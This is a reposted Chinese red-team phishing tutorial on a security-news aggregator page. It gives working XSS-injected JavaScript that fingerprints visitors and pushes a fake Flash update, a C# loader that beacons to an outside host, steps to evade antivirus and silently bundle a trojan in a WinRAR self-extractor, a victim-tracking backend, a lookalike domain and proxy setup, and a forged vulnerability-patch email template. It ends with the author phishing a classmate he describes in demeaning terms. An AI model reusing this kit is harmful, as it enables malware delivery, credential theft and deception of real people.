Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13793 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
红队攻防系列之花式鱼竿钓鱼篇
本文来自公众号:HACK学习呀   2020.07.16 09:15:56


0x0 前言

钓鱼的核心主要还是思路要骚。本文主要从一个完整的钓鱼流程进行讲解,记录下自己在学习这方面的知识时,如何将其有机结合起来,实现一个蓝队无感的钓鱼攻击流程,真正体验下如何从细节入手,将最危险的地方化为最安全的地方。

0x1 鱼钩隐藏

传统攻防的钓鱼扔黑不溜秋的exe,也没做什么进程迁移之类的动作,就算是个电脑小白也知道不正常,一下子就把你的程序给终结掉了,然后你也成功暴露了,之后蹲黑名单。

如何将鱼钩更好的隐藏呢?

这里我抛转引玉说几个点:

1.XSS

直接插入这个js文件即可

<script src="/hacked.js"></script>

hacked.js 需要注意下面这几个点

1.判断UA,电脑端才加载exe,android则加载apk

2.向后台API发送查询,是否上钩了,是的话不加载,不是的话加载

3.js一定要注意混淆和命名,采用原生ajax,兼容性会更好

window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}

window.confirm = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
var result = window.frames[0].window.confirm(name);
iframe.parentNode.removeChild(iframe);
return result;
}

function isPc() {
if (navigator.userAgent.match(/(iPhone|Android)/i)) {
return false;
} else {
return true;
}
}

function isRise() {
var xmlHttp;
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var resData = xmlHttp.responseText;
if (resData == "ok") {
} else {
download();
}
}
}
}

function download(){
window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};
alert("您的FLASH版本过低,请尝试升级后访问该页面!");
window.location.href="http://xxx/";
}

window.onload = function(){
if(!isPc()){
alert("当前页面只能在电脑PC端中加载,请稍后重试...");
}else{
isRise();
}
}

2.钓鱼网站(比如flash)

我们需要去申请一个近似的域名https://www.freenom.com/zh/freeandpaiddomains.html

https://www.flash.cn/ 我们需要模拟就是这个网站

这里我选取的域名是: flash-cn.cf

下面我们只要简单伪造下钓鱼的地址就行了。

这里我用的是学生机,所以后面我用了一个香港主机做nginx的反向代理,一方面保护了自己,

一方面也能绕过备案。

下面我们就是直接搭建个钓鱼网站了。

把我们的木马改名为: flashplayerpp_install_cn.exe

然后放在我们建立的 latest 目录下。

然后放在docker下,我们以后需要做的就是

docker cp host_path containerID:/var/www/html/cn/

0x1.1 木马处理

这里需要注意木马要做好免杀,否则运行的时候就要被杀了。

免杀的方式很多,网上很多方法可以过360,这里笔者采用shellcode加密的方式能达到暂时绕过360(当然还有非常多的绕过方式,这些点最好自己挖掘一下,发出来的话一般很快就会和谐了,欢迎有师傅找我研究下。)

这里我们需要自己写一个加载器,封装感知函数放进加载器,这样木马如果真正加载的时候就会对我们的API发起请求,这样我们就能捕获到木马成功运行了。

using System;
using System.Net;
using System.Threading;

namespace testHttp
{
class Program
{
static void Main(string[] args)
{
ThreadStart childref = new ThreadStart(sendLog);
Thread childThread = new Thread(childref);
childThread.Start();
}

public static void sendLog()
{
string url = "http://hackerc.com/api.php?m=api&do=myLogk";
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.Method = "HEAD";
request.Timeout = 100000;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
}

然后我们把这个封装到木马里面即可。

基本能绕过360杀毒,成功发出感知请求,用window窗口方式编译,能实现无控制台提示静默执行。

0x1.2 隐蔽处理

这里主要是需要将我们的木马与正常程序去捆绑,这样用户执行恶意文件的时候其实我们的木马是在静默运行的,而用户执行正常的程序操作。

这里为了免杀效果更好,我选择了winrar自解压的方式去包装我们的木马。

首先我们需要准备好木马、正常程序和Restorator这个工具:

1.选中两个程序,然后添加到压缩文件,创建自解压

2.高级自解压选项,常规:解压路径 ——> 绝对路径:

路径写 C:\windows\temp

3.高级自解压选项->安装

C:\windows\temp\选中的木马名
C:\windows\temp\选中的程序名

4.高级自解压选项->模式

静默模式->隐藏所有

5.高级自解压选项->更新

更新模式->解压并更新

覆盖模式->覆盖所有文件

6.确定

执行一下,发现达到了效果,在这里我们还需要做一些细节的伪装.

Restorator 将压缩后的程序图标替换为 flashplayer_install_cn 的图标,然后名字也改为

flashplayer_install_cn.exe

基本能仿照的非常像。

0x2 鱼竿感知

鱼竿感知系统其实非常重要,比如鱼儿上钩,你还一直弹窗,这样是个小白也能知道不正常。那么如何做好一个简单的感知系统呢?其实非常简单,这里我丢一个简单的demo,实际上它是可以写成一个框架的(这个先不考虑放出来)

这里我采用了PHP + MYSQL的方式

首先新建个表 fish

表设计:

字段 类型 说明
id int 主键
ip varchar 来源ip
ua varchar 来源UA
count int 点击次数
status varchar 当前状态

SQL数据库语句:

DROP DATABASE IF EXISTS  fishperception;
CREATE DATABASE fishperception;
USE fishperception;
DROP TABLE IF EXISTS fish;
CREATE TABLE fish(
`id` INT AUTO_INCREMENT,
`ip` VARCHAR(200) DEFAULT NULL,
`ua` VARCHAR(255) DEFAULT NULL,
`count` INT DEFAULT NULL,
`status` VARCHAR(10) DEFAULT NULL,
primary key(`id`)
);

后端的简单记录Demo:

提供了几个API:

api.php?m=api&do=myLog  // 这个是木马执行时候请求写入的api
api.php?m=api&do=isExist //这个用来js判断是否已经上线的,已经上线则不执行操作

提供了一个基本简单的管理demo:

如果还想继续钓鱼某个IP或者某IP掉线的话,可以登录后台删除这个记录,这样就能继续针对某个特定ip进行钓鱼。

为了随时转移和方便,我们可以用docker来实现一键部署感知系统。

基于lamp的docker环境可以快速搭建。

scp -r docker-lamp-ok root@X.X.X.X:/root/

然后服务器里面:

docker-compose up --build

然后运行起来了,然后配置 flash-cn.cf 的nginx代理,转发我们的钓鱼内容。

cd /etc/nginx/conf.d

编辑一个Server

server
{
listen 80;
server_name flash-cn.cf;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;

proxy_pass http://139.159.x.x:8005;
}
}

然后 systemctl restart nginx 即可

0x3 选择水域

比较常用方式如传统的邮箱打点、dns劫持欺骗等方式

其实生活中有非常多攻击点(主要是人们总是自信地认为黑客不会在他们的身边)

班级群里面、教师群等社交关系群里面,本身具备了高信任的特点,所以制作点热点话题,打开一个URL并不是什么难事。

还有供应链打击、物理社工等...

这里笔者还是比较喜欢传统的邮箱钓鱼吧,它在发挥小型目标hw行动的时候,是非常好用的。

0x3.1 邮箱钓鱼思路

基于邮箱的钓鱼,有人说它比较老套了,其实不然,笔者在后渗透的项目经历中发现,其实邮箱钓鱼的攻击面比较广泛,掌握好切入点,巧学活用能发挥比较巨大的作用(切忌一大批的发垃圾邮件信息)。

1.可信邮箱

可信邮箱邮箱选取优先选择同单位下的域名邮箱,再者可以选择一些高权的邮箱比如gov等之类的。

笔者对某学校做过定向的渗透打击,通过OA来提取出某领导的邮箱账号密码,后面通过伪造工作邮件+附件信息,基本一打一个准。

2.针对性发送

最好根据组织结构,挑选一些中间人来进行打击,切记大量发送,引起别人警觉。

3.邮箱内容

这里我说下比较常用的就是伪造漏洞补丁。

这里就涉及到一些钓鱼模板的使用了。

这里举一个简单的例子,实际上要针对业务和对象来选择合适的模板。

一、漏洞情况分析

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark 是一种与 Hadoop 相似的开源集群计算环境,启用了内存分布数据集,除了能够提供交互式查询外,它还可以优化迭代工作负载。Apache Spark 是在 Scala 语言中实现的,它将 Scala 用作其应用程序框架。

2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞。由于Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响的产品版本包括:

Apache Spark < =2.4.5

三、漏洞处置建议
目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:
https://hackker.com/360/xx.zip

4.SPF配置不当导致邮件伪造

SPF:

SPF(Sender Policy Framework) 发送策略框架,是一种以IP地址认证电子邮件发件人的身份的技术,是为防范垃圾邮件而提出来的一种DNS记录类型,他是一种TXT类型的记录。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否合法。

如果SPF没配置的话,那么任何人都可以像邮件服务器自定义内容发送邮件,这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)

如何检测是否存在这种漏洞

1.通过在线网站 https://emkei.cz/ 去测试是否能发送成功

2.手工测试(比较方便,个人比较常用)

nslookup -type=txt domain

这样就说明不存在漏洞。

这样就说明没配置SPF。

关于这个漏洞利用可以放在下回细讲,简单利用可以参考一个工具:

Swaks

0x4 实战效果

上面说的只是一些点,真正的攻击是需要自己针对目标定制一套适用的钓鱼方式的。

这里提了提高成功率,我选取了我们班某位胸大无脑的MM同学作为测试,首先通过一些话语让她产生好奇心

然后制作一个类似的求爱视频的网站给她:

后面通过发送网址给她:

中间还是出现了一些问题:

最后我做了一些迂回, 比如吐槽之类的,给MM造成心理压迫:

最后MM还是成功打开了,然后询问我为什么视频还没有成功加载,也没有提示版本过低。。。。

到了这里我觉得是时候跟MM坦白了。

最后看下@MM 对我的评价:

0x5 总结

这里笔者钓鱼采取了比较激进的直接获取客户机权限的方式,其实针对无感攻击比较简单还是社交网络的画像提取,这样我们不仅可以轻松掌握大量网络体系信息和员工习惯,还可以进行成功率更高的定向打击。钓鱼是一门巧活细活,博弈性比较强,但是攻击性让人防不胜防,希望有研究这方面的大佬可以带带我这个小萌新,想跟师傅们学习各种骚姿势,认识更多场景,去完善我的钓鱼框架(因为目前很多特殊情况没考虑,比如直接被杀软杀了木马,那么也会暴露,感觉攻防对抗真的错综复杂,希望APT大佬能拉我这个菜鸡进小密圈)。


拓展阅读:


鱼叉攻击-炮轰马的制作


点赞,转发,在看


文章转载自先知社区,作者:xq17